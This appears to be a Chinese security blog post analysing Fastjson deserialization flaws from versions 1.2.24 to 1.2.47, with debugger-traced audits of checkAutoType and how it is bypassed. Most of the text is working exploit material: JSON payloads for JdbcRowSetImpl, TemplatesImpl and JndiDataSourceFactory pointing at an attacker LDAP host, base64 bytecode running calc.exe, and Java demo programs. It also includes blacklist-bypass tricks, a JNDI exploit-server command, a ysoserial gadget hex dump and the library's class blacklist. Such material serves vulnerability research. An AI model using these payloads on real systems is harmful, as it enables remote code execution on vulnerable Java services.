1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2 .24 </version> </dependency> <!-- https: <dependency> <groupId>com.mchange.c3p0</groupId> <artifactId>com.springsource.com.mchange.v2.c3p0</artifactId> <version>0.9 .1 .2 </version> </dependency> <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.11 .0 </version> </dependency>
payload
1 2 3 4 5 { "@type" : "com.mchange.v2.c3p0.JndiRefForwardingDataSource" , "jndiName" : "ldap://192.168.100.128:1389/Exploit" , "loginTimeout" : 0 }
在D:\maven_repo\com\mchange\c3p0\com.springsource.com.mchange.v2.c3p0\0.9.1\com.springsource.com.mchange.v2.c3p0-0.9.1.jar!\com\mchange\v2\c3p0\JndiRefForwardingDataSource.class
setLoginTimeout
调用了this.inner()
跟进
cachedInner=null
调用dereference()
调用了lookup()
,参数是jndiName
,子类没有重写setJndiName
,用的是父类的com.mchange.v2.c3p0.impl.JndiRefDataSourceBase#setJndiName
gadget
1 JndiRefForwardingDataSource.setLoginTimeout -> inner() -> dereference().lookup(JndiName)
1.2.25 ≤ FastJson ≤ 1.2.41 新版对前面版本的漏洞做了修复
默认关闭autotype
并设置白名单和黑名单
需要开启autotype
1 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autotype
复现 jdk 8u101
1 2 3 4 5 <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2 .41 </version> </dependency>
JdbcRowSetImpl payload
1 2 { "@type" : "Lcom.sun.rowset.JdbcRowSetImpl;" , "dataSourceName" : "ldap://192.168.100.128:1389/Exploit" ,"autoCommit" :true }
./java -jar ../JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'calc.exe' -A '192.168.100.128'
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class FastJsonTest { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{" + " \"@type\": \"Lcom.sun.rowset.JdbcRowSetImpl;\"," + " \"dataSourceName\": \"ldap://192.168.100.128:1389/Exploit\"," + "\"autoCommit\":true" + "}" ; Object object = JSON.parse(payload); } }
另一种payload。[
绕过
1 2 {"@type" :"[com.sun.rowset.JdbcRowSetImpl" [{,"dataSourceName" :"ldap://192.168.100.128:1389/Exploit" ,"autoCommit" :true }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class FastJsonTest { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://192.168.100.128:1389/Exploit\",\"autoCommit\":true}" ; Object object = JSON.parse(payload); } }
TemplatesImpl payload
1 2 {"@type" :"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;" ,"_bytecodes" :["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY=" ],"_name" :"EvilClass" ,"_tfactory" :{},"_outputProperties" :{}}
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;public class TemplatesImpl { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String byteCode = "yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY=" ; final String NASTY_CLASS = "Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;" ; String payload = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + byteCode + "\"]," + "\"_name\":\"EvilClass\"," + "\"_tfactory\":{}," + "\"_outputProperties\":{}}" ; System.out.println(payload); try { Object object = JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); } catch (Exception e) { } } }
另一种payload,[
绕过checkautotype
1 2 {"@type" :"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" [{,"_bytecodes" :["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY=" ],"_name" :"EvilClass" ,"_tfactory" :{},"_outputProperties" :{}}
JndiDataSourceFactory
payload
1 { "@type" : "Lorg.apache.ibatis.datasource.jndi.JndiDataSourceFactory;" , "properties" : { "data_source" : "ldap://192.168.100.128:1389/Exploit" }}
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JndiDataSourceFactory { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{" + " \"@type\": \"Lorg.apache.ibatis.datasource.jndi.JndiDataSourceFactory;\"," + " \"properties\": {" + " \"data_source\": \"ldap://192.168.100.128:1389/Exploit\"" + " }" + "}" ; System.out.println(payload); Object object = JSON.parse(payload); } }
另一种payload,[
绕过
1 { "@type" : "[org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" [{, "properties" : { "data_source" : "ldap://192.168.100.128:1389/Exploit" }}
审计 下断点一路跟进到D:\maven_repo\com\alibaba\fastjson\1.2.41\fastjson-1.2.41.jar!\com\alibaba\fastjson\parser\ParserConfig.class:791
的checkAutoType()
方法
acceptList
为白名单(默认为空)
然后看黑名单
这里要复制整个list
的话,alt+f8
黑名单有23个
1 ["bsh" ,"com.mchange" ,"com.sun." ,"java.lang.Thread" ,"java.net.Socket" ,"java.rmi" ,"javax.xml" ,"org.apache.bcel" ,"org.apache.commons.beanutils" ,"org.apache.commons.collections.Transformer" ,"org.apache.commons.collections.functors" ,"org.apache.commons.collections4.comparators" ,"org.apache.commons.fileupload" ,"org.apache.myfaces.context.servlet" ,"org.apache.tomcat" ,"org.apache.wicket.util" ,"org.apache.xalan" ,"org.codehaus.groovy.runtime" ,"org.hibernate" ,"org.jboss" ,"org.mozilla.javascript" ,"org.python.core" ,"org.springframework" ]
而在fastjson 1.2.24
只有两个
这里前面加了个L
自然所有黑名单都不管用了
监视@type
的值的变化
到D:\maven_repo\com\alibaba\fastjson\1.2.41\fastjson-1.2.41.jar!\com\alibaba\fastjson\util\TypeUtils.class:1044
如果L
开头;
结尾就去除头尾再调用一次loadClass
然后后续的流程,前面其实还有一个对[
开头的判断,其实用[
开头也可以绕过
这里L
开头;
结尾是JNI
(Java Native Interface FieldDescriptors) 字段描述符
[
开头绕过的payload
1 {"@type" :"[com.sun.rowset.JdbcRowSetImpl" [{,"dataSourceName" :"ldap://192.168.100.128:1389/Exploit" ,"autoCommit" :true }
为什么要在第一个键值对后面加[{
删掉跑一下
1 {"@type" :"[com.sun.rowset.JdbcRowSetImpl" ,"dataSourceName" :"ldap://192.168.100.128:1389/Exploit" ,"autoCommit" :true }
说是希望在下标42的地方接收[
,42是第一个键值对后面的,
点击com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:672)
可以进到抛出异常的地方
加上[
再跑一下
1 {"@type" :"[com.sun.rowset.JdbcRowSetImpl" [,"dataSourceName" :"ldap://192.168.100.128:1389/Exploit" ,"autoCommit" :true }
说是希望在下标43接收{
进入抛出异常的地方
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451)
如果满足if (token != 12 && token != 16)
就会抛出异常
token
在D:\maven_repo\com\alibaba\fastjson\1.2.41\fastjson-1.2.41.jar!\com\alibaba\fastjson\parser\JSONLexerBase.class
满足这两个,不抛出异常后续就能正常反序列化了
[{
的作用:
- `[` 表示 JSON 数组的开始。
- `{` 表示 JSON 对象的开始,用于传入 `dbcRowSetImpl` 的属性(如 `dataSourceName`)。
- 这种格式让 Fastjson 认为这是一个合法的 JSON 数组结构,从而正确解析 payload。
下个版本会在checkAutoType
先去除@type
开头的L
和末尾的;
然后才进入loadClass
所以可以双写绕过
1 {"@type" :"LLcom.sun.rowset.JdbcRowSetImpl;;" ,"dataSourceName" :"ldap://192.168.100.128:1389/Exploit" ,"autoCommit" :true }
这个方法其实在当前版本范围1.2.25-1.2.41
也可以用
因为在com.alibaba.fastjson.util.TypeUtils#loadClass
去除头尾再递归调用loadClass
,无论有几个L
,都能被处理最后只剩下com.sun.rowset.JdbcRowSetImpl
FastJson 1.2.42 1 2 3 4 5 <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2 .42 </version> </dependency>
需要ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autotype
在checkAutoType
先去除@type
开头的L
和末尾的;
黑名单改为了哈希黑名单,防止对黑名单进行分析绕过
一些已破解的黑名单白名单https://github.com/LeadroyaL/fastjson-blacklist
审计 demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class FastJsonTest { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://192.168.100.128:1389/Exploit\",\"autoCommit\":true}" ; System.out.println(payload); Object object = JSON.parse(payload); } }
在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
去除头尾的L;
黑名单不再是硬编码类名了,用的hash
很显然通双写的方法,可以绕过黑名单,黑名单肯定是com.sun.rowset.JdbcRowSetImpl
而Lcom.sun.rowset.JdbcRowSetImpl
,不在黑名单中
无论写多少个L
(大于2)都可以绕过,因为loadClass
会递归处理@type
此外,这个版本并没有对[
开头的进行处理,所以这个payload依然如入无人之境
1 {"@type" :"[com.sun.rowset.JdbcRowSetImpl" [{,"dataSourceName" :"ldap://192.168.100.128:1389/Exploit" ,"autoCommit" :true }
FastJson 1.2.43 1 2 3 4 5 <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2 .43 </version> </dependency>
需要ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autotype
checkAutoType
禁止了双写绕过
审计 在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
1 2 3 4 5 6 7 if (((-3750763034362895579L ^ (long )className.charAt(0 )) * 1099511628211L ^ (long )className.charAt(className.length() - 1 )) * 1099511628211L == 655701488918567152L ) { if (((-3750763034362895579L ^ (long )className.charAt(0 )) * 1099511628211L ^ (long )className.charAt(1 )) * 1099511628211L == 655656408941810501L ) { throw new JSONException ("autoType is not support. " + typeName); } className = className.substring(1 , className.length() - 1 ); }
多少个L
都没用
因为只要L
开头;
结尾就会抛出异常
此外,这个版本依然没有对[
开头的进行处理,所以这个payload依然如入无人之境
1 {"@type" :"[com.sun.rowset.JdbcRowSetImpl" [{,"dataSourceName" :"ldap://192.168.100.128:1389/Exploit" ,"autoCommit" :true }
FastJson 1.2.44 - 1.2.45 1 2 3 4 5 6 7 8 9 10 11 12 <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2 .44 </version> </dependency> <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5 .7 </version> </dependency>
需要ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
开启autoTyoe;需要目标服务端存在mybatis
的jar包,且版本需为3.x.x-3.5.0
的版本
审计 com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
@type
第一个字符是[
就抛出异常
只能绕过黑名单用JndiDataSourceFactory
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JndiDataSourceFactory { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{" + " \"@type\": \"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," + " \"properties\": {" + " \"data_source\": \"ldap://192.168.100.128:1389/Exploit\"" + " }" + "}" ; System.out.println(payload); Object object = JSON.parse(payload); } }
payload
1 2 { "@type" : "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" , "properties" : { "data_source" : "ldap://192.168.100.128:1389/Exploit" }}
FastJson 1.2.46 - 1.2.47 黑名单加了org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
通过java.lang.Class
,将JdbcRowSetImpl
类加载到Map
中缓存,从而绕过AutoType的检测
1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
1 2 3 4 5 6 7 8 9 10 11 { "a" :{ "@type" :"java.lang.Class" , "val" :"com.sun.rowset.JdbcRowSetImpl" }, "b" :{ "@type" :"com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" :"ldap://localhost:1389/badNameClass" , "autoCommit" :true } }
审计 1 2 3 4 5 6 7 8 9 10 11 { "a" :{ "@type" :"java.lang.Class" , "val" :"com.sun.rowset.JdbcRowSetImpl" }, "b" :{ "@type" :"com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" :"ldap://localhost:1389/badNameClass" , "autoCommit" :true } }
不开启autotype
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class FastJsonTest { public static void main (String[] args) { String payload = "{" + "\"a\":{" + "\"@type\":\"java.lang.Class\"," + "\"val\":\"com.sun.rowset.JdbcRowSetImpl\"" + "}," + "\"b\":{" + "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"ldap://192.168.100.128:1389/Exploit\"," + "\"autoCommit\":true" + "}" + "}" ; System.out.println(payload); Object object = JSON.parse(payload); } }
com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
因为autotype
关闭了,所以不会进入到黑名单那部分,
然后调用com.alibaba.fastjson.util.IdentityHashMap#findClass
然后return
给checkAutoType()
然后调用com.alibaba.fastjson.serializer.MiscCodec#deserialze
,如果键名不是val
就抛出异常
然后对val
的键值不是继承String
类就返回
然后到这个判断java.lang.Class
继承是Class
类,就调用loadClass
,这一步不会经过checkAutoType()
因为键值是val
的而不是@type
就绕过了黑名单
然后将com.sun.rowset.JdbcRowSetImpl
放到mapping
映射缓存
至此,payload
的上半部分处理完了
1 2 3 4 "a" :{ "@type" :"java.lang.Class" , "val" :"com.sun.rowset.JdbcRowSetImpl" }
然后到下半部分
1 2 3 4 5 6 "b" :{ "@type" :"com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" :"ldap://localhost:1389/badNameClass" , "autoCommit" :true }
然后匹配到键@type
会再次进入checkAutoType()
,因为没有开启autotype
所以不会进入黑名单检测
然后到getClassFromMapping
就会在mapping
映射缓存读取到com.sun.rowset.JdbcRowSetImpl
并返回,从而绕过了黑名单获取到了com.sun.rowset.JdbcRowSetImpl
后面就是通过JdbcRowSetImpl
来jndi
注入了
整个gadget
1 JSON.parse() -> a:@type :java.lang.Class-> ParserConfig#checkAutoType -> IdentityHashMap#findClass -> a:val:com.sun.rowset.JdbcRowSetImpl -> MiscCodec#deserialze -> TypeUtils.loadClass(mappings.put) -> b:@type :com.sun.rowset.JdbcRowSetImpl -> ParserConfig#checkAutoType -> TypeUtils#getClassFromMapping -> TypeUtils.loadClass -> JdbcRowSetImpl -> setAutoCommit() -> connect() -> getDataSourceName()
开启autotype
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class FastJsonTest { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{" + "\"a\":{" + "\"@type\":\"java.lang.Class\"," + "\"val\":\"com.sun.rowset.JdbcRowSetImpl\"" + "}," + "\"b\":{" + "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"ldap://192.168.100.128:1389/Exploit\"," + "\"autoCommit\":true" + "}" + "}" ; System.out.println(payload); Object object = JSON.parse(payload); } }
payload上半部分流程和前面一样
在下半部分第二次进入checkAutoType()
的时候,因为开启了autotype
所以会进入黑名单的检测,但是抛出异常的条件是TypeUtils.getClassFromMapping(typeName) == null
,因为缓存有所以不成立,就不会抛出异常
后续流程和上面一样
gadget同上
为什么1.2.25-1.2.32版本:不能开启AutoType 1.2.33-1.2.47版本:无论是否开启AutoType,都能成功利用
因为在1.2.33
之后checkAutoType()
才有TypeUtils.getClassFromMapping(typeName) == null
,因为判断用的&&
逻辑运算两个条件,即使在黑名单中也因为缓存不为null
而无法抛出异常
所以≤ 1.2.32
不能进入黑名单检测,所以只能关闭autotype
来绕过
FastJson ≤ 1.2.47 pom
1 2 3 4 5 6 7 8 9 10 11 <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0 </version> </dependency> <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.11 .0 </version> </dependency>
1 ./java -jar ../y soserial-all.jar CommonsCollections2 "calc.exe" > ../../ Calc.txt
转16进制
1 ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E002000078700000069CCAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E01000863616C632E65786508003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001D79736F73657269616C2F50776E6572333734323337373836333635333501001F4C79736F73657269616C2F50776E657233373432333737383633363533353B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002F000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000034000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A0001